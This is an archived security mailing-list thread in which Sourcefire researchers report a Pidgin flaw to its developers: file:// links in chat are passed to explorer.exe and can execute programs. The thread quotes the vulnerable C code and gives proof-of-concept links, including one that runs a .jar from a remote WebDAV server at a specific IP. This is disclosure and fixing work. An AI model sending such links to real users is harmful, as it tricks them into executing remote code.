PGP key for vulnerability reports

[Richard Johnson]

Hello, it has been a month since our last correspondence. We would like to
move forward with the process of fixing these bugs and making our snort
signatures public. We also have not had any feedback on the other three
bugs. Please let us know if we can help and a plan of action.

Regards,

Richard Johnson


On Thu, Nov 28, 2013 at 6:05 PM, Yves Younan <yyounan at sourcefire.com> wrote:

> So I looked at the code for this bug again and it looks like the behavior
> that you wanted to execute when someone provided a link with a file:// URL
> is: "explorer /select,url.”
>
> Here is the code:
> file_open_uri(GtkIMHtml *imhtml, const char *uri)
> {
>    /* Copied from gtkft.c:open_button_cb */
> #ifdef _WIN32
>    /* If using Win32... */
>    int code;
>    if (purple_str_has_prefix(uri, "file://"))
>    {
>        gchar *escaped = g_shell_quote(uri);
>        gchar *param = g_strconcat("/select,\"", uri, "\"", NULL);
>        wchar_t *wc_param = g_utf8_to_utf16(param, -1, NULL, NULL, NULL);
>
>        code = (int)ShellExecuteW(NULL, L"OPEN", L"explorer.exe", wc_param,
> NULL, SW_NORMAL);
>
>        g_free(wc_param);
>        g_free(param);
>        g_free(escaped);
>    } else {
>        wchar_t *wc_filename = g_utf8_to_utf16(
>                uri, -1, NULL, NULL, NULL);
>
>        code = (int)ShellExecuteW(NULL, NULL, wc_filename, NULL, NULL,
>                SW_SHOW);
>
>        g_free(wc_filename);
>    }
>
> However, due to the way the function is called, you’ll never actually have
> a URL that starts with file:// passed into that function:
>
> #define FILELINKSIZE  (sizeof("file://") - 1)
> static gboolean
> file_clicked_cb(GtkIMHtml *imhtml, GtkIMHtmlLink *link)
> {
>    const char *uri = gtk_imhtml_link_get_url(link) + FILELINKSIZE;
>    file_open_uri(imhtml, uri);
>    return TRUE;
> }
>
> static gboolean
> open_containing_cb(GtkIMHtml *imhtml, const char *url)
> {
>    char *dir = g_path_get_dirname(url + FILELINKSIZE);
>    file_open_uri(imhtml, dir);
>    g_free(dir);
>    return TRUE;
> }
>
> i.e. before calling file_open_uri(), the calling functions are stripping
> out the scheme name if it’s a file:// url, so the comparison in the
> function will always fail.
>
> The problem is that people can be tricked into executing code from a
> remote server (as shown with the web dav link:
> file://\\5.9.64.146\DavWWWRoot\test.jar) when passed a file:// url. They
> won’t even be able to see that they are clicking on a file:// link unless
> they see the tooltip. I consider that to be a pretty serious issue and not
> at all the same  behavior as any of the major browsers.
>
> To see what your intended behavior is, you can try sending the following
> link file://file://c:\windows\notepad.exe. That will correctly execute
> explorer /select. Although ShOpenFolderAndSelectItems() may be a safer
> option to accomplish the same thing.
>
>
> This issue also exists on other platforms:
> In KDE:
>         command = g_strdup_printf("kfmclient openURL %s", escaped);
>
> So file:///usr/bin/konsole would be a URL that would work under KDE.
> Although KDE will ask before executing, unlike Windows.
>
>
> -YY
>
>
>
>
>
>
> On 27, Nov2013, at 11:58, Yves Younan <yyounan at sourcefire.com> wrote:
>
> >
> > On 27, Nov2013, at 9:49, Daniel Atallah <datallah at pidgin.im> wrote:
> >
> >
> >
> >
> >>
> >> It looks like this may be browser specific behavior (or perhaps OS
> specific).
> >> I'm unable to to recreate this scenario on a Windows 7 test VM with the
> http handler set to Firefox 25.0.1 (I do have Java 1.7.0_45 registered as
> the handler for .jar files).
> >> The ShellExecute call is what fails (returns ERROR_FILE_NOT_FOUND) -
> the same thing that happens when I try to invoke
> "file:///C:/windows/notepad.exe".
> >>
> >> The behavior is clearly different than when using Start->Run with the
> same URL.
> >
> > In Pidgin the URL is a little different: file://C:\Windows\notepad.exe
> is the correct URL to execute a program in Pidgin.
> > Here’s also a .jar file that will execute (i.e. remote code execution)
> notepad with a file argument (C:\:users\desktop.ini):
> file://\\5.9.64.146\DavWWWRoot\test.jar (note this may take up to a minute
> the first time as it needs to connect and download etc.)
> >
> >>
> >> That looks like what I'm hoping the browser would do (and the filtering
> that we've been counting on by sending everything to the browser).
> >>
> >> I guess we probably should filter out "file" URLs using the file
> scheme, but if we can't trust the browser just blacklisting that scheme
> doesn't seem like it solves very much.
> >> I don't like the idea of maintaining a blacklist of patterns that we
> should be filtering (or a whitelist either for that matter) - it isn't a
> reasonable thing for each application to maintain.
> >>
> >> I won't have time to test this any time soon, but is it likely that
> we're only vulnerable if the browser isn't doing the right thing (based on
> my inability to recreate it above)?
> >>
> >> What are the specifics of the OS and default browser configuration
> under which you were able to demonstrate the issue?
> > I’ve tried it on multiple Windows 7’s 64 bit with default browsers being
> both firefox and chrome. Now the way you’re calling ShellExecute it doesn’t
> matter which browser is the default. You’re calling ShellExecute with
> “explorer.exe”. That will pass http:// etc URLs to the default browser as
> you expect, but it will handle file:// itself. That’s why you’re seeing a
> difference in behaviour. Open an explorer (not IE, the shell explorer) and
> enter file://C:\Windows\notepad.exe in the url bar there. You’ll see it
> executes the program. The same thing happens for the .jar file and this is
> the behaviour that Pidgin is exhibiting.
> >
> > -YY
>
>


-- 
Richard Johnson
Sourcefire VRT
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://pidgin.im/cgi-bin/mailman/private/security/attachments/20140106/207d0a9d/attachment.html>